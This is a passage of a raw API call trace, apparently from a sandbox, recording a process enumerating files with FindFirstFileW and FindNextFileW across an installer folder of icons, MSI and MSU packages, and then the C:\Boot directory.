dwReserved1=0x0, cFileName="Rotate2.ico", cAlternateFileName="")) returned 1 [0047.037] FindNextFileW (in: hFindFile=0x10caf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico", cAlternateFileName="")) returned 1 [0047.037] FindNextFileW (in: hFindFile=0x10caf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico", cAlternateFileName="")) returned 1 [0047.037] FindNextFileW (in: hFindFile=0x10caf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico", cAlternateFileName="")) returned 1 [0047.038] FindNextFileW (in: hFindFile=0x10caf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico", cAlternateFileName="")) returned 1 [0047.038] FindNextFileW (in: hFindFile=0x10caf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico", cAlternateFileName="")) returned 1 [0047.038] FindNextFileW (in: hFindFile=0x10caf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico", cAlternateFileName="")) returned 1 [0047.038] FindNextFileW (in: hFindFile=0x10caf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico", cAlternateFileName="")) returned 1 [0047.038] FindNextFileW (in: hFindFile=0x10caf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x8f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico", cAlternateFileName="")) returned 1 [0047.038] FindNextFileW (in: hFindFile=0x10caf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b5e7f00, ftCreationTime.dwHighDateTime=0x1ca927c, ftLastAccessTime.dwLowDateTime=0x5b5e7f00, ftLastAccessTime.dwHighDateTime=0x1ca927c, ftLastWriteTime.dwLowDateTime=0x5b5e7f00, ftLastWriteTime.dwHighDateTime=0x1ca927c, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico", cAlternateFileName="")) returned 1 [0047.038] FindNextFileW (in: hFindFile=0x10caf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico", cAlternateFileName="SYSREQ~1.ICO")) returned 1 [0047.038] FindNextFileW (in: hFindFile=0x10caf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico", cAlternateFileName="SYSREQ~2.ICO")) returned 1 [0047.038] FindNextFileW (in: hFindFile=0x10caf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 1 [0047.038] FindNextFileW (in: hFindFile=0x10caf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico", cAlternateFileName="")) returned 0 [0047.038] FindClose (in: hFindFile=0x10caf0 | out: hFindFile=0x10caf0) returned 1 [0047.039] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x32e0048 | out: hHeap=0x80000) returned 1 [0047.039] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="header.bmp", cAlternateFileName="")) returned 1 [0047.039] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x66ea7e00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0xad1384b, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="netfx_Core.mzz", cAlternateFileName="NETFX_~1.MZZ")) returned 1 [0047.039] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc183da00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0x1d0200, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="netfx_Core_x64.msi", cAlternateFileName="NETFX_~1.MSI")) returned 1 [0047.039] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4c130c00, ftCreationTime.dwHighDateTime=0x1cac6d9, ftLastAccessTime.dwLowDateTime=0x4c130c00, ftLastAccessTime.dwHighDateTime=0x1cac6d9, ftLastWriteTime.dwLowDateTime=0x4c130c00, ftLastWriteTime.dwHighDateTime=0x1cac6d9, nFileSizeHigh=0x0, nFileSizeLow=0x11c000, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="netfx_Core_x86.msi", cAlternateFileName="NETFX_~2.MSI")) returned 1 [0047.040] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf7cd9415, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x29222c7, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="netfx_Extended.mzz", cAlternateFileName="NETFX_~2.MZZ")) returned 1 [0047.040] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2dbe0800, ftCreationTime.dwHighDateTime=0x1cac6fb, ftLastAccessTime.dwLowDateTime=0x2dbe0800, ftLastAccessTime.dwHighDateTime=0x1cac6fb, ftLastWriteTime.dwLowDateTime=0x2dbe0800, ftLastWriteTime.dwHighDateTime=0x1cac6fb, nFileSizeHigh=0x0, nFileSizeLow=0xd5000, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="netfx_Extended_x64.msi", cAlternateFileName="NETFX_~3.MSI")) returned 1 [0047.040] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7626f700, ftCreationTime.dwHighDateTime=0x1cac6f6, ftLastAccessTime.dwLowDateTime=0x7626f700, ftLastAccessTime.dwHighDateTime=0x1cac6f6, ftLastWriteTime.dwLowDateTime=0x7626f700, ftLastWriteTime.dwHighDateTime=0x1cac6f6, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="netfx_Extended_x86.msi", cAlternateFileName="NETFX_~4.MSI")) returned 1 [0047.040] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4a0f7400, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x4a0f7400, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x4a0f7400, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x426ae, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="ParameterInfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0047.040] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x19dedd00, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x19dedd00, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x19dedd00, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x2d200, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="RGB9RAST_x64.msi", cAlternateFileName="RGB9RA~1.MSI")) returned 1 [0047.040] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x177c8300, ftCreationTime.dwHighDateTime=0x1ca2a1b, ftLastAccessTime.dwLowDateTime=0x177c8300, ftLastAccessTime.dwHighDateTime=0x1ca2a1b, ftLastWriteTime.dwLowDateTime=0x177c8300, ftLastWriteTime.dwHighDateTime=0x1ca2a1b, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="RGB9Rast_x86.msi", cAlternateFileName="RGB9RA~2.MSI")) returned 1 [0047.040] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x13148, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0047.040] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0xc5158, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SetupEngine.dll", cAlternateFileName="SETUPE~1.DLL")) returned 1 [0047.040] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x48150, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SetupUi.dll", cAlternateFileName="")) returned 1 [0047.040] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5381000, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x5381000, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x5381000, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x75a8, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SetupUi.xsd", cAlternateFileName="")) returned 1 [0047.041] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6519be00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0x6519be00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0x6519be00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x17758, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SetupUtility.exe", cAlternateFileName="SETUPU~1.EXE")) returned 1 [0047.041] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SplashScreen.bmp", cAlternateFileName="SPLASH~1.BMP")) returned 1 [0047.041] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x143bc400, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0x143bc400, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x143bc400, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x23420, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0047.041] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3704, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Strings.xml", cAlternateFileName="")) returned 1 [0047.041] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x97f2, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0047.041] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0x19688, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="watermark.bmp", cAlternateFileName="WATERM~1.BMP")) returned 1 [0047.041] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x2120bc00, ftLastWriteTime.dwHighDateTime=0x1cac6c9, nFileSizeHigh=0x0, nFileSizeLow=0x4f5113, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows6.0-KB956250-v6001-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1 [0047.041] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x1bbe7400, ftLastWriteTime.dwHighDateTime=0x1cac6bf, nFileSizeHigh=0x0, nFileSizeLow=0x217520, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows6.0-KB956250-v6001-x86.msu", cAlternateFileName="WINDOW~2.MSU")) returned 1 [0047.041] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x5b8e5700, ftLastWriteTime.dwHighDateTime=0x1cac6d1, nFileSizeHigh=0x0, nFileSizeLow=0x4db1ce, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows6.1-KB958488-v6001-x64.msu", cAlternateFileName="WINDOW~3.MSU")) returned 1 [0047.041] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 1 [0047.041] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 0 [0047.042] FindClose (in: hFindFile=0x10d170 | out: hFindFile=0x10d170) returned 1 [0047.042] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x310078 | out: hHeap=0x80000) returned 1 [0047.042] FindNextFileW (in: hFindFile=0xf9100, lpFindFileData=0x295f51c | out: lpFindFileData=0x295f51c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0047.043] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\*", lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0x10d130 [0047.043] FindNextFileW (in: hFindFile=0x10d130, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="..", cAlternateFileName="")) returned 1 [0047.043] FindNextFileW (in: hFindFile=0x10d130, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xac3efa99, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xac3efa99, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="BCD", cAlternateFileName="")) returned 1 [0047.043] FindNextFileW (in: hFindFile=0x10d130, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0047.043] FindNextFileW (in: hFindFile=0x10d130, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0047.043] FindNextFileW (in: hFindFile=0x10d130, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0047.043] FindNextFileW (in: hFindFile=0x10d130, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, 